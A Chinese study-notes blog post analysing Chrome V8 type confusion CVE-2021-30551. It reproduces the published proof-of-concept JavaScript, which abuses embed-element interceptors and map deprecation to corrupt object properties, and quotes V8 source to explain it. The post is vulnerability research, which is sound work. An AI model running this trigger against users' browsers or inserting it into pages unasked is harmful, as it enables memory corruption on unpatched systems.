zoukankan      html  css  js  c++  java
  • Chrome v8 类型混淆 CVE-2021-30551(只有原理上的一点理解)

    总共看了2天的POC,为了不让成果流失,记录一下。

    Chrome 在野0day:CVE-2021-30551的分析与利用 (qq.com) 主要参考

    https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html  次要参考

    关于原型污染漏洞的完整指南 (qq.com) 原型链参考

    V8 是怎么跑起来的 —— V8 中的对象表示_ThornWu-CSDN博客 V8 属性对象

    浏览器是如何工作的:Chrome V8让你更懂JavaScript - 知乎 (zhihu.com) 理解 Chrome 中的 map

    CVE-2020-16009: Chrome Turbofan Type Confusion after Map Deprecation | 0-days In-the-Wild (googleprojectzero.github.io)  Type Confusion

    首先需要了解一下 map 和object 的关系:

    Object 中的 All own properties 存储着属性值,map 中存储着属性的状态、描述等。

    global_object = {};
     
    setPropertyViaEmbed = (object, value, handler) => {
      const embed = document.createElement('embed');
      embed.onload = handler;
      embed.type = 'text/html';
      Object.setPrototypeOf(global_object, embed);
      document.body.appendChild(embed);
      object.corrupted_prop = value; 
      embed.remove();
    }
    
    createCorruptedPair = (value_1, value_2) => {
      const object_1 = {   
        __proto__: global_object
      };
      object_1.regular_prop = 1;
    
      setPropertyViaEmbed(object_1, value_2, () => {
        Object.setPrototypeOf(global_object, null);
        object_1.corrupted_prop = value_1;
      });
    
      const object_2 = {
        __proto__: global_object
      };
      object_2.regular_prop = 1;
    
      setPropertyViaEmbed(object_2, value_2, () => {
        Object.setPrototypeOf(global_object, null);
        object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性
        object_1.regular_prop = 1.1        //设置 map 为 deprecated
      });
      return [object_1, object_2];


    const array = [1.1];
    array.prop = 1;
    const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);
    
    jit = (object) => {
      return object.corrupted_prop[0];
    }
    for (var i = 0; i < 100000; ++i)
      jit(object_1);
    jit(object_2);

    首先,针对函数的形式需要理解,POC 中的函数声明方式是箭头函数。(注:JS 中一切都是对象)

    FunctionName = (Arg1, Arg2) => { xxxxx }  // 针对多个参数的函数声明、定义方式
    ()=> { xxxxxxxxx } // 无参数的 ,匿名函数

    接着拆解 POC 进行理解,首先是对变量进行初始化:

    注意 POC 最开头的 global_object ,此处的花括号表明创建了一个空的对象。
    然后申请了一个数组,其中只有一个元素,值为 1.1 。接着将 array 的属性设置为 1。

    接着调用 createCorruptedPair 函数:

    该函数的参数为 array 和 一个特制的浮点数。
    const object_1 = {
        __proto__: global_object
      };    // 申明并定义了一个对象,该对象的原型是 global_object == NULL

    接着访问 object_1 的一个未知的属性名(未定义过的),并将其设置为 1。

    如果目标对象没有这个未知的属性名,那么会调用 SetPropertyInternal 遍历这个对象的原型链,如果能找到一个拦截器(interceptor),就会执行这个拦截器的函数来决定这个是否是一个“只读属性”的异常。此处的 SetPropertyInternal 会返回这个属性不存在,然后会调用 AddDataProperty 函数来创建属性。但是若在创建属性之前已存在同名的该属性,且此时的 map 为 deprecated 状态(map 是存储 v8 中对象的描述命名属性),那么只会更新属性的状态而不会去修改 map 的描述符(猜测是将状态从消极转为活跃)


    Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value, StoreOrigin store_origin, Maybe<ShouldThrow> should_throw) { if (it->IsFound()) { bool found = true; Maybe<bool> result = SetPropertyInternal(it, value, should_throw, store_origin, &found); if (found) return result; } [...] return AddDataProperty(it, value, NONE, should_throw, store_origin); } Maybe<bool> Object::SetPropertyInternal(LookupIterator* it, Handle<Object> value, Maybe<ShouldThrow> should_throw, StoreOrigin store_origin, bool* found) { [...] do { switch (it->state()) { [...] case LookupIterator::INTERCEPTOR: { if (it->HolderIsReceiverOrHiddenPrototype()) { Maybe<bool> result = JSObject::SetPropertyWithInterceptor(it, should_throw, value); //调用户定义 JS 代码 if (result.IsNothing() || result.FromJust()) return result; } else { Maybe<PropertyAttributes> maybe_attributes = JSObject::GetPropertyAttributesWithInterceptor(it); if (maybe_attributes.IsNothing()) return Nothing<bool>(); if ((maybe_attributes.FromJust() & READ_ONLY) != 0) { return WriteToReadOnlyProperty(it, value, should_throw); } if (maybe_attributes.FromJust() == ABSENT) break; *found = false; return Nothing<bool>(); } break; } [...] *found = false; return Nothing<bool>(); //此处返回 }

    继续跟着代码走:

      setPropertyViaEmbed(object_1, value_2, () => {
        Object.setPrototypeOf(global_object, null);
        object_1.corrupted_prop = value_1;
      });

    调用 setPropertyViaEmbed 函数,参数为 object_1 ,浮点数和匿名函数。该函数定义如下:

    setPropertyViaEmbed = (object, value, handler) => {
      const embed = document.createElement('embed');
      embed.onload = handler;      //遍历到拦截器后调用的js代码
      embed.type = 'text/html';
      Object.setPrototypeOf(global_object, embed); //将 embed(拦截器)设置到原型链中 
      document.body.appendChild(embed);
      object.corrupted_prop = value;    //通过访问 object 中不存在的命名属性触发 SetPropertyInternal
      embed.remove();
    }
    该函数首先会创建一个 embed 元素,然后将自定义的 JS 函数指针传给它,作为拦截器函数调用。接着调用
    Object.setPrototypeOf 函数,将 global_object 的原型设置为 embed 对象(即加入原型链中)。调用
    appendchild 函数将 embed 元素设置为 html body 部分的子节点(此处是必须的,不知原因)
    再次访问 corrupted_prop 这个未知属性,会触发 SetProperty 函数并由于这个未知类型不存在,会调用
    SetPropertyInternal 函数到原型链中遍历,而恰好此处是存在拦截器函数的,因此会调用用户定义自定义的 JS
    代码(匿名函数)。最后移除 embed 元素。
    HTMLEmbedElement 是少数具有属性拦截器的 DOM 类之一,每次用户尝试访问 Embed 的 JS 包装器的属性
    时将会运行特殊的方法,这个方法可以由用户自定义,也就相当于可以在 v8 执行过程中重入到用户 js 层
    去执行用户定义的代码。

    看用户定义的 JS 代码,参数为 object,value:

     Object.setPrototypeOf(global_object, null); //更改对象的原型链
     object_1.corrupted_prop = value_1;

    用户自定义函数首先将 global_object 的原型链设置为 NULL ,再创建刚刚访问的不存在的属性(首先会遇到不能访问的情况,然后遍历原型链,因为前面将 global_object 的原型链设置为 NULL ,所以会直接调用 AddDataProperty 函数为其创建新的属性。但实验中将前面的函数注释掉仍然能正常运行,挺疑惑的),并将其值设置为 value_1 。

    首先需要解决一个问题:什么时候 map 的状态被更新为 deprecated ?

    因为没有去看代码,通过对几次数据的变化,粗略推出:当原来的对象的 map 改变时,以 O1.A = 1 为例,
    当再次添加未知属性,O1.B = 1.2 时,map 会发生更新在新地址重新建立一个 map
    (因为 map 可共享,因此若直接更改则会导致其它共享此 map 的对象在不知道的情况下被修改了 map),
    而上一个 O1 所占有的 map 会被更新为 deprecated 状态。

    紧接着对 object_2 进行操作

      const object_2 = {
        __proto__: global_object
      };
      object_2.regular_prop = 1;
    
      setPropertyViaEmbed(object_2, value_2, () => {
        Object.setPrototypeOf(global_object, null);
        object_2.corrupted_prop = value_1;  //在重入的过程中创建刚才不存在的命名属性
        object_1.regular_prop = 1.1         //设置 map 为 deprecated
      });
    同 object_1 的操作基本相同,但在匿名函数中的不同,此处的不同是在
    object_1.regular_prop = 1.1 ,
    注意两个时间点:① corrupted_prop = value_1 时,此时的 map 被 O1 、O2 共享
    ② object_1.regular_prop = 1.1 时,新建一个 map ,原来的 map 状态改为 deprecated。
    此时,当再次修改 object2 的属性值时,仅仅只修改值(改指针)而不去修改描述符(DescriptorArray),
    导致的问题就是,若原来的值所占空间为8字节,则可以读取8字节的空间,当新建的值只有2字节时,会使得其多读6字节的值

    可能会疑惑,明明只需要一个对象就可以完成操作,为什么需要两个对象?从作者自己定义的函数名可以,本来就是为了创建一对可以多读、多写的内存对象。当然也有可能是为了完成后面的 exp 构造或触发异常。

  • 相关阅读:
    Mysql 关于 FOUND_ROWS() 和 ROW_COUNT() 函数
    MySQL数据库远程连接
    MySQL数据库远程连接
    Linux 下不得不说的那些快捷键
    Linux 下不得不说的那些快捷键
    linux实时查看更新日志命令
    linux实时查看更新日志命令
    the current differences between MyISAM and InnoDB storage engines
    Difference Between InnoDb and MyISAM(个人觉着是好文章,简单易懂,推荐看)
    MyISAM to InnoDB: Why and How(MYSQL官方译文)
  • 原文地址:https://www.cnblogs.com/Rev-omi/p/15068600.html
Copyright © 2011-2022 走看看